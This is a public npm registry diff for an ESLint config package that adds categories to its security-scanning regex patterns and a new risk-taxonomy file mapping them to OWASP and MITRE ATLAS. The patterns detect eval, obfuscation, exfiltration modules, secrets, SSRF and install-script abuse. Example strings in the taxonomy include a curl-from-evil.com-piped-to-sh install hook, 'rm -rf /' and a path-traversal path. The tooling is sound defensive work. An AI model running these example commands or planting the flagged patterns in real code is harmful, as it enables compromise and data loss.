@archpublicwebsite/eslint-config 1.0.18 → 1.0.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,6 +5,9 @@
5
5
  * vector observed in npm supply-chain incidents (event-stream, ua-parser-js,
6
6
  * node-ipc, polyfill.io, XZ Utils, etc.).
7
7
  *
8
+ * Risk categories (id → OWASP / MITRE ATLAS mapping) are defined in risks.mjs.
9
+ * Each pattern's `category` field references one of those ids.
10
+ *
8
11
  * Patterns are kept as non-global RegExp so they can safely be re-tested
9
12
  * across lines without needing to reset `lastIndex`.
10
13
  */
@@ -29,18 +32,21 @@ export const FILE_PATTERNS = [
29
32
  severity: 'critical',
30
33
  message: 'eval() executes arbitrary strings — primary vector for malware delivery',
31
34
  regex: /\beval\s*\(/,
35
+ category: 'code-execution',
32
36
  },
33
37
  {
34
38
  id: 'no-new-func',
35
39
  severity: 'critical',
36
40
  message: 'new Function() executes arbitrary strings — equivalent to eval()',
37
41
  regex: /\bnew\s+Function\s*\(/,
42
+ category: 'code-execution',
38
43
  },
39
44
  {
40
45
  id: 'no-implied-eval',
41
46
  severity: 'high',
42
47
  message: 'setTimeout/setInterval with a string argument executes code dynamically',
43
48
  regex: /\b(?:setTimeout|setInterval)\s*\(\s*['"]/,
49
+ category: 'code-execution',
44
50
  },
45
51
 
46
52
  // ── Payload delivery & obfuscation ────────────────────────────────────────
@@ -49,24 +55,28 @@ export const FILE_PATTERNS = [
49
55
  severity: 'high',
50
56
  message: 'Buffer.from(…, "base64") — frequently used to hide malicious payloads',
51
57
  regex: /Buffer\.from\s*\([^)]*,\s*['"]base64['"]\)/,
58
+ category: 'obfuscation',
52
59
  },
53
60
  {
54
61
  id: 'atob-usage',
55
62
  severity: 'medium',
56
63
  message: 'atob() decodes base64 — verify it is not decoding a hidden payload',
57
64
  regex: /\batob\s*\(/,
65
+ category: 'obfuscation',
58
66
  },
59
67
  {
60
68
  id: 'charcode-obfuscation',
61
69
  severity: 'high',
62
70
  message: 'String.fromCharCode sequence — common technique to obfuscate malicious strings',
63
71
  regex: /String\.fromCharCode\s*\(\s*(?:\d+\s*,\s*){4,}\d+\s*\)/,
72
+ category: 'obfuscation',
64
73
  },
65
74
  {
66
75
  id: 'hex-string-obfuscation',
67
76
  severity: 'high',
68
77
  message: 'Dense hex-encoded string — possible obfuscated payload',
69
78
  regex: /['"](?:\\x[0-9a-fA-F]{2}){20,}['"]/,
79
+ category: 'obfuscation',
70
80
  },
71
81
 
72
82
  // ── Dangerous imports in build / config context ───────────────────────────
@@ -77,6 +87,7 @@ export const FILE_PATTERNS = [
77
87
  message: 'child_process in build config — potential command-execution backdoor',
78
88
  regex: /require\s*\(\s*['"](?:node:)?child_process['"]\s*\)|from\s+['"](?:node:)?child_process['"]/,
79
89
  configOnly: true,
90
+ category: 'data-exfiltration',
80
91
  },
81
92
  {
82
93
  id: 'http-in-config',
@@ -84,6 +95,7 @@ export const FILE_PATTERNS = [
84
95
  message: 'HTTP/HTTPS module in build config — potential data-exfiltration vector',
85
96
  regex: /require\s*\(\s*['"](?:node:)?https?['"]\s*\)|from\s+['"](?:node:)?https?['"]/,
86
97
  configOnly: true,
98
+ category: 'data-exfiltration',
87
99
  },
88
100
  {
89
101
  id: 'dns-in-config',
@@ -91,6 +103,7 @@ export const FILE_PATTERNS = [
91
103
  message: 'DNS module in build config — potential exfiltration via DNS tunnelling',
92
104
  regex: /require\s*\(\s*['"](?:node:)?dns['"]\s*\)|from\s+['"](?:node:)?dns['"]/,
93
105
  configOnly: true,
106
+ category: 'data-exfiltration',
94
107
  },
95
108
  {
96
109
  id: 'net-in-config',
@@ -98,6 +111,7 @@ export const FILE_PATTERNS = [
98
111
  message: 'net/socket module in build config — potential reverse-shell vector',
99
112
  regex: /require\s*\(\s*['"](?:node:)?net['"]\s*\)|from\s+['"](?:node:)?net['"]/,
100
113
  configOnly: true,
114
+ category: 'data-exfiltration',
101
115
  },
102
116
 
103
117
  // ── Prototype pollution ────────────────────────────────────────────────────
@@ -106,6 +120,7 @@ export const FILE_PATTERNS = [
106
120
  severity: 'high',
107
121
  message: 'Prototype pollution pattern — can escalate to RCE in some server runtimes',
108
122
  regex: /\.__proto__\s*=|Object\.prototype\s*\[|constructor\s*\.\s*prototype\s*\[/,
123
+ category: 'prototype-pollution',
109
124
  },
110
125
 
111
126
  // ── Suspicious dynamic import ──────────────────────────────────────────────
@@ -180,6 +195,156 @@ export const FILE_PATTERNS = [
180
195
  severity: 'critical',
181
196
  message: 'global[...] = module — dropper technique to expose Node module reference as a global',
182
197
  regex: /global\s*\[.*?\]\s*=\s*module\b/,
198
+ category: 'code-execution',
199
+ },
200
+
201
+ // ── XSS / DOM injection ────────────────────────────────────────────────────
202
+ // These patterns cover the most common DOM-based XSS sinks. Using them with
203
+ // unsanitised user input allows an attacker to execute scripts in the
204
+ // victim's browser. ESLint rules in eslint.config.mjs cover the same
205
+ // vectors statically; these patterns catch them in staged files.
206
+ {
207
+ id: 'dom-innerhtml',
208
+ severity: 'high',
209
+ message: 'innerHTML / outerHTML assignment — direct DOM XSS sink; use textContent or a sanitiser',
210
+ regex: /\.\s*(?:inner|outer)HTML\s*=/,
211
+ category: 'xss',
212
+ },
213
+ {
214
+ id: 'dom-insertadjacenthtml',
215
+ severity: 'high',
216
+ message: 'insertAdjacentHTML() — DOM XSS sink; use insertAdjacentText() or sanitise input first',
217
+ regex: /\.insertAdjacentHTML\s*\(/,
218
+ category: 'xss',
219
+ },
220
+ {
221
+ id: 'dom-document-write',
222
+ severity: 'high',
223
+ message: 'document.write() / document.writeln() — deprecated and a direct XSS sink',
224
+ regex: /document\s*\.\s*write(?:ln)?\s*\(/,
225
+ category: 'xss',
226
+ },
227
+ {
228
+ id: 'dom-srcdoc',
229
+ severity: 'medium',
230
+ message: 'srcdoc attribute set via JS — can execute scripts inside an iframe without CSP',
231
+ regex: /\.srcdoc\s*=/,
232
+ category: 'xss',
233
+ },
234
+ {
235
+ id: 'vue-v-html',
236
+ severity: 'medium',
237
+ message: 'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
238
+ // Matches both :v-html and v-html= in .vue template strings captured in JS
239
+ regex: /v-html\s*=/,
240
+ category: 'xss',
241
+ },
242
+
243
+ // ── Hardcoded secrets / credentials ───────────────────────────────────────
244
+ // Secrets committed to source control are frequently scraped by automated
245
+ // bots (GitHub secret scanning, truffleHog, etc.) within minutes.
246
+ {
247
+ id: 'hardcoded-openai-key',
248
+ severity: 'critical',
249
+ message: 'Hardcoded OpenAI API key detected — rotate immediately and use environment variables',
250
+ regex: /['"]sk-[A-Za-z0-9]{20,}['"]/,
251
+ category: 'hardcoded-secret',
252
+ },
253
+ {
254
+ id: 'hardcoded-anthropic-key',
255
+ severity: 'critical',
256
+ message: 'Hardcoded Anthropic API key detected — rotate immediately and use environment variables',
257
+ regex: /['"]sk-ant-[A-Za-z0-9\-_]{20,}['"]/,
258
+ category: 'hardcoded-secret',
259
+ },
260
+ {
261
+ id: 'hardcoded-aws-key',
262
+ severity: 'critical',
263
+ message: 'Hardcoded AWS Access Key ID — rotate immediately; AWS bots can detect and exploit within minutes',
264
+ regex: /['"]AKIA[0-9A-Z]{16}['"]/,
265
+ category: 'hardcoded-secret',
266
+ },
267
+ {
268
+ id: 'hardcoded-github-token',
269
+ severity: 'critical',
270
+ message: 'Hardcoded GitHub token — rotate immediately and store in a secret manager',
271
+ regex: /['"]gh[pousr]_[A-Za-z0-9]{36,}['"]/,
272
+ category: 'hardcoded-secret',
273
+ },
274
+ {
275
+ id: 'hardcoded-jwt-secret',
276
+ severity: 'high',
277
+ message: 'Possible hardcoded JWT secret — use a cryptographically random secret from env vars',
278
+ // Matches: secret: "...", jwtSecret: "...", JWT_SECRET = "..." with a non-trivial value
279
+ regex: /(?:jwt[_-]?secret|token[_-]?secret)\s*[=:]\s*['"][^'"]{8,}['"]/i,
280
+ category: 'hardcoded-secret',
281
+ },
282
+ {
283
+ id: 'hardcoded-private-key',
284
+ severity: 'critical',
285
+ message: 'Private key material in source — never commit private keys; use a secrets manager',
286
+ regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
287
+ category: 'hardcoded-secret',
288
+ },
289
+ {
290
+ id: 'hardcoded-password-literal',
291
+ severity: 'high',
292
+ message: 'Possible hardcoded password — use environment variables or a secrets manager',
293
+ // Matches: password: "abc123", PASSWORD = 'secret' (not empty, not placeholder-like)
294
+ regex: /\bpassword\s*[=:]\s*['"][^'"]{4,}['"]/i,
295
+ category: 'hardcoded-secret',
296
+ },
297
+
298
+ // ── Path traversal ────────────────────────────────────────────────────────
299
+ {
300
+ id: 'path-traversal-fs',
301
+ severity: 'high',
302
+ message: 'fs operation with a variable path — validate and sanitise paths to prevent directory traversal',
303
+ // Flags fs.readFile/writeFile/createReadStream/unlink etc. called with a variable (not a plain string)
304
+ regex: /(?:readFile|writeFile|createReadStream|createWriteStream|unlink|rmdir|mkdir)\s*\(\s*(?!['"` ])[^'"`)]/,
305
+ category: 'path-traversal',
306
+ },
307
+ {
308
+ id: 'path-traversal-dotdot',
309
+ severity: 'critical',
310
+ message: 'Literal path traversal sequence (../) in source — remove or validate user-supplied path segments',
311
+ regex: /['"]\.\.[/\\]/,
312
+ category: 'path-traversal',
313
+ },
314
+
315
+ // ── SSRF ──────────────────────────────────────────────────────────────────
316
+ {
317
+ id: 'ssrf-fetch-variable',
318
+ severity: 'high',
319
+ message: 'fetch() / axios.get() called with a variable URL — validate URL origin to prevent SSRF',
320
+ // Matches fetch(variable) — not fetch("https://...") which is a literal
321
+ regex: /\b(?:fetch|axios\.(?:get|post|put|patch|delete|request))\s*\(\s*(?!['"` ])[^'"`)]/,
322
+ category: 'ssrf',
323
+ },
324
+ {
325
+ id: 'ssrf-cloud-metadata',
326
+ severity: 'critical',
327
+ message: 'Cloud metadata endpoint (169.254.169.254 / fd00:ec2::254) referenced in source',
328
+ regex: /169\.254\.169\.254|fd00:ec2::254/,
329
+ category: 'ssrf',
330
+ },
331
+
332
+ // ── ReDoS ─────────────────────────────────────────────────────────────────
333
+ {
334
+ id: 'redos-nested-quantifier',
335
+ severity: 'medium',
336
+ message: 'RegExp with nested quantifier on overlapping character class — ReDoS risk; simplify the pattern',
337
+ // Catches: (a+)+, (a*)*, ([a-z]+)+, ([a-zA-Z]+)* — classic catastrophic backtracking shapes
338
+ regex: /\((?:\[[^\]]+\]|\\w|\\d|[a-zA-Z])[+*]\)[+*?]/,
339
+ category: 'redos',
340
+ },
341
+ {
342
+ id: 'redos-alternation-overlap',
343
+ severity: 'medium',
344
+ message: 'RegExp alternation with overlapping branches inside a quantifier — ReDoS risk',
345
+ // Catches: (a|aa)+, (ab|a)+ patterns where branches share prefixes
346
+ regex: /\([^)]{1,40}\|[^)]{1,40}\)[+*?]/,
347
+ category: 'redos',
183
348
  },
184
349
  ]
185
350
 
@@ -197,48 +362,70 @@ export const INSTALL_SCRIPT_PATTERNS = [
197
362
  severity: 'critical',
198
363
  message: 'Install script downloads files from the internet via curl/wget',
199
364
  regex: /\bcurl\b|\bwget\b/,
365
+ category: 'supply-chain',
200
366
  },
201
367
  {
202
368
  id: 'install-net-request',
203
369
  severity: 'critical',
204
370
  message: 'Install script makes HTTP requests at install time',
205
371
  regex: /require\s*\(\s*['"]https?['"]\s*\)|\.get\s*\(\s*['"]https?:\/\//,
372
+ category: 'supply-chain',
206
373
  },
207
374
  {
208
375
  id: 'install-base64-exec',
209
376
  severity: 'critical',
210
377
  message: 'Install script decodes base64 content — hidden payload delivery pattern',
211
378
  regex: /Buffer\.from[^)]*base64|atob\s*\(/,
379
+ category: 'supply-chain',
212
380
  },
213
381
  {
214
382
  id: 'install-eval',
215
383
  severity: 'critical',
216
384
  message: 'Install script calls eval() — arbitrary code execution at install time',
217
385
  regex: /\beval\s*\(/,
386
+ category: 'supply-chain',
218
387
  },
219
388
  {
220
389
  id: 'install-env-credential',
221
390
  severity: 'high',
222
391
  message: 'Install script reads credential/secret environment variables',
223
392
  regex: /process\.env\.(?:AWS_|GITHUB_TOKEN|NPM_TOKEN|SECRET|PASSWORD|API_KEY|PRIVATE_KEY|TOKEN)/i,
393
+ category: 'supply-chain',
224
394
  },
225
395
  {
226
396
  id: 'install-system-path',
227
397
  severity: 'critical',
228
398
  message: 'Install script writes to system paths — possible persistence mechanism',
229
399
  regex: /\/etc\/|\/usr\/(?:bin|local)|C:\\Windows\\|\.ssh\//,
400
+ category: 'supply-chain',
230
401
  },
231
402
  {
232
403
  id: 'install-exec-shell',
233
404
  severity: 'high',
234
405
  message: 'Install script spawns child processes via child_process',
235
406
  regex: /\bexecSync\s*\(|\bspawnSync\s*\(|\bexec\s*\(\s*['"]/,
407
+ category: 'supply-chain',
236
408
  },
237
409
  {
238
410
  id: 'install-hex-obfuscation',
239
411
  severity: 'high',
240
412
  message: 'Install script contains dense hex-encoded strings — possible obfuscated payload',
241
413
  regex: /(?:\\x[0-9a-fA-F]{2}){20,}/,
414
+ category: 'supply-chain',
415
+ },
416
+ {
417
+ id: 'install-new-function',
418
+ severity: 'critical',
419
+ message: 'Install script uses new Function() — arbitrary code execution at install time',
420
+ regex: /\bnew\s+Function\s*\(/,
421
+ category: 'supply-chain',
422
+ },
423
+ {
424
+ id: 'install-cloud-metadata',
425
+ severity: 'critical',
426
+ message: 'Install script probes cloud metadata endpoint (169.254.169.254) — SSRF / credential theft',
427
+ regex: /169\.254\.169\.254/,
428
+ category: 'supply-chain',
242
429
  },
243
430
  ]
244
431
 
@@ -0,0 +1,259 @@
1
+ /**
2
+ * @archipelago/security — risk taxonomy
3
+ *
4
+ * Defines the canonical risk classification used across all security tooling
5
+ * in this package: the pre-commit scanner, pre-push scanner, ESLint rules,
6
+ * and any downstream consumers.
7
+ *
8
+ * Risk levels are aligned with:
9
+ * - OWASP Risk Rating Methodology
10
+ * - CVSS v3.1 severity bands
11
+ * - MITRE ATLAS (AML.T*) for AI/ML supply-chain vectors
12
+ *
13
+ * Reference:
14
+ * https://owasp.org/www-community/OWASP_Risk_Rating_Methodology
15
+ * https://www.first.org/cvss/calculator/3.1
16
+ */
17
+
18
+ // ─── Severity levels ──────────────────────────────────────────────────────────
19
+
20
+ /**
21
+ * Severity → numeric score mapping (mirrors CVSS v3.1 bands).
22
+ * Used for sorting findings and deciding whether to block a git operation.
23
+ *
24
+ * @type {Record<string, number>}
25
+ */
26
+ export const SEVERITY_SCORE = {
27
+ critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
28
+ high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
+ medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
+ low: 1, // CVSS 0.1 – 3.9 → info only
31
+ info: 0, // Informational → no action required
32
+ }
33
+
34
+ /**
35
+ * Returns true if the severity level should block a git operation.
36
+ * @param {string} severity
37
+ * @returns {boolean}
38
+ */
39
+ export function isBlocking(severity) {
40
+ return severity === 'critical' || severity === 'high'
41
+ }
42
+
43
+ // ─── Risk categories ──────────────────────────────────────────────────────────
44
+
45
+ /**
46
+ * Canonical risk categories with their OWASP and MITRE ATLAS mappings.
47
+ *
48
+ * Each category describes:
49
+ * - id Stable identifier used in findings and ESLint rule names
50
+ * - label Human-readable name
51
+ * - owasp OWASP Top 10 / ASVS reference (2021)
52
+ * - atlas MITRE ATLAS technique(s) — AI/ML supply-chain specific
53
+ * - description What the risk is and why it matters
54
+ * - examples Concrete code patterns that fall into this category
55
+ *
56
+ * @type {Array<RiskCategory>}
57
+ */
58
+ export const RISK_CATEGORIES = [
59
+ // ── A1: Injection (RCE / code execution) ──────────────────────────────────
60
+ {
61
+ id: 'code-execution',
62
+ label: 'Arbitrary Code Execution',
63
+ owasp: 'A03:2021 – Injection',
64
+ atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
65
+ description:
66
+ 'Code that allows an attacker to execute arbitrary instructions on the host machine. '
67
+ + 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
68
+ severity: 'critical',
69
+ examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
70
+ },
71
+
72
+ // ── A2: Cryptographic / obfuscation ───────────────────────────────────────
73
+ {
74
+ id: 'obfuscation',
75
+ label: 'Obfuscation / Payload Hiding',
76
+ owasp: 'A08:2021 – Software and Data Integrity Failures',
77
+ atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
78
+ description:
79
+ 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
80
+ + 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
81
+ + 'ua-parser-js, polyfill.io).',
82
+ severity: 'high',
83
+ examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
84
+ },
85
+
86
+ // ── A3: Prototype pollution ────────────────────────────────────────────────
87
+ {
88
+ id: 'prototype-pollution',
89
+ label: 'Prototype Pollution',
90
+ owasp: 'A03:2021 – Injection',
91
+ atlas: [],
92
+ description:
93
+ 'Modification of Object.prototype or constructor.prototype allows an attacker to '
94
+ + 'inject properties onto every object in the runtime, which can escalate to RCE '
95
+ + 'in some server-side Node.js frameworks.',
96
+ severity: 'high',
97
+ examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
98
+ },
99
+
100
+ // ── A4: XSS / DOM injection ────────────────────────────────────────────────
101
+ {
102
+ id: 'xss',
103
+ label: 'Cross-Site Scripting (XSS)',
104
+ owasp: 'A03:2021 – Injection',
105
+ atlas: [],
106
+ description:
107
+ 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
108
+ + 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
109
+ + "victim's browser context.",
110
+ severity: 'high',
111
+ examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
112
+ },
113
+
114
+ // ── A5: Hardcoded secrets ──────────────────────────────────────────────────
115
+ {
116
+ id: 'hardcoded-secret',
117
+ label: 'Hardcoded Secret / Credential',
118
+ owasp: 'A02:2021 – Cryptographic Failures',
119
+ atlas: [],
120
+ description:
121
+ 'API keys, tokens, passwords, or private keys committed to source code. '
122
+ + 'Exposed secrets are frequently scraped from public repositories by automated bots '
123
+ + 'within minutes of exposure.',
124
+ severity: 'critical',
125
+ examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
126
+ },
127
+
128
+ // ── A6: Supply-chain / install scripts ────────────────────────────────────
129
+ {
130
+ id: 'supply-chain',
131
+ label: 'Supply-Chain Attack',
132
+ owasp: 'A08:2021 – Software and Data Integrity Failures',
133
+ atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
134
+ description:
135
+ 'Malicious code injected via npm package install scripts (preinstall/postinstall), '
136
+ + 'typosquatted package names, or compromised transitive dependencies. '
137
+ + 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
138
+ severity: 'critical',
139
+ examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
140
+ },
141
+
142
+ // ── A7: Path traversal ────────────────────────────────────────────────────
143
+ {
144
+ id: 'path-traversal',
145
+ label: 'Path Traversal',
146
+ owasp: 'A01:2021 – Broken Access Control',
147
+ atlas: [],
148
+ description:
149
+ 'User-controlled input used in file-system operations without sanitisation. '
150
+ + 'Allows attackers to read, write, or delete files outside the intended directory '
151
+ + "(e.g., reading /etc/passwd via '../../etc/passwd').",
152
+ severity: 'high',
153
+ examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
154
+ },
155
+
156
+ // ── A8: SSRF ──────────────────────────────────────────────────────────────
157
+ {
158
+ id: 'ssrf',
159
+ label: 'Server-Side Request Forgery (SSRF)',
160
+ owasp: 'A10:2021 – Server-Side Request Forgery',
161
+ atlas: [],
162
+ description:
163
+ 'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
164
+ + 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
165
+ + 'resources not directly accessible from the internet.',
166
+ severity: 'high',
167
+ examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
168
+ },
169
+
170
+ // ── A9: ReDoS ─────────────────────────────────────────────────────────────
171
+ {
172
+ id: 'redos',
173
+ label: 'Regular Expression Denial of Service (ReDoS)',
174
+ owasp: 'A06:2021 – Vulnerable and Outdated Components',
175
+ atlas: [],
176
+ description:
177
+ 'Pathological regular expressions with nested quantifiers on overlapping character '
178
+ + 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
179
+ + 'User-controlled input matched against such patterns is a DoS vector.',
180
+ severity: 'medium',
181
+ examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
182
+ },
183
+
184
+ // ── A10: Exfiltration in build / config context ───────────────────────────
185
+ {
186
+ id: 'data-exfiltration',
187
+ label: 'Data Exfiltration via Build Config',
188
+ owasp: 'A08:2021 – Software and Data Integrity Failures',
189
+ atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
190
+ description:
191
+ 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
192
+ + 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
193
+ + 'privileges and full file-system access — making them a prime exfiltration vector.',
194
+ severity: 'critical',
195
+ examples: ["import https from 'node:https' // in tailwind.config.ts"],
196
+ },
197
+ ]
198
+
199
+ // ─── Category lookup ──────────────────────────────────────────────────────────
200
+
201
+ /**
202
+ * Fast lookup: risk category id → category object.
203
+ * @type {Map<string, RiskCategory>}
204
+ */
205
+ export const RISK_CATEGORY_MAP = new Map(RISK_CATEGORIES.map(c => [c.id, c]))
206
+
207
+ /**
208
+ * Return a risk category by id, or undefined if not found.
209
+ * @param {string} id
210
+ * @returns {RiskCategory|undefined}
211
+ */
212
+ export function getRiskCategory(id) {
213
+ return RISK_CATEGORY_MAP.get(id)
214
+ }
215
+
216
+ // ─── Finding helpers ──────────────────────────────────────────────────────────
217
+
218
+ /**
219
+ * Sort findings by severity (critical first) and then by file path.
220
+ * @template {{ severity: string, file?: string, pkg?: string }} T
221
+ * @param {T[]} findings
222
+ * @returns {T[]}
223
+ */
224
+ export function sortFindings(findings) {
225
+ return [...findings].sort((a, b) => {
226
+ const scoreDiff = (SEVERITY_SCORE[b.severity] ?? 0) - (SEVERITY_SCORE[a.severity] ?? 0)
227
+ if (scoreDiff !== 0) return scoreDiff
228
+ const aKey = a.file ?? a.pkg ?? ''
229
+ const bKey = b.file ?? b.pkg ?? ''
230
+ return aKey.localeCompare(bKey)
231
+ })
232
+ }
233
+
234
+ /**
235
+ * Partition findings into blocking (critical/high) and warning (medium/low/info) groups.
236
+ * @template {{ severity: string }} T
237
+ * @param {T[]} findings
238
+ * @returns {{ blocking: T[], warnings: T[] }}
239
+ */
240
+ export function partitionFindings(findings) {
241
+ return {
242
+ blocking: findings.filter(f => isBlocking(f.severity)),
243
+ warnings: findings.filter(f => !isBlocking(f.severity)),
244
+ }
245
+ }
246
+
247
+ // ─── JSDoc typedef (for editor tooling) ──────────────────────────────────────
248
+
249
+ /**
250
+ * @typedef {{
251
+ * id: string,
252
+ * label: string,
253
+ * owasp: string,
254
+ * atlas: string[],
255
+ * description: string,
256
+ * severity: 'critical'|'high'|'medium'|'low'|'info',
257
+ * examples: string[],
258
+ * }} RiskCategory
259
+ */